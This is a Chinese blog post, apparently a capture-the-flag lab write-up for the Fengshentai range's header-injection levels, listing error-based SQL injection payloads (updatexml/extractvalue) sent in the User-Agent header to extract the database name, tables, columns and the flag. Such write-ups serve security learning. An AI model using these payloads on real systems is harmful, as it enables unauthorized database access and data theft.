封神台 head注入1-3

最新推荐文章于 2022-10-17 23:15:14 发布

星星明亮

最新推荐文章于 2022-10-17 23:15:14 发布

阅读量285

点赞数

分类专栏：封神台靶场 sql

本文链接：https://blog.csdn.net/weixin_46578840/article/details/118213433

版权

封神台靶场同时被 2 个专栏收录

4 篇文章 1 订阅

订阅专栏

sql

4 篇文章 0 订阅

订阅专栏

在这里插入图片描述可以看到源代码只是对name和password做了过滤，但是全局变量user-agent是可控的

 bp抓包修改user-agent头
 1' and extaclvalue(1,concat(0x7e,(select database()),1)) and '
 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'2') # ' //爆表，由于使用extaclualue会被拒绝执行，还是用会updatexml吧
 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='head_error' and table_name='flag_head' limit 0,1)),1),'2') # ' //列名
1' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') # ' //字段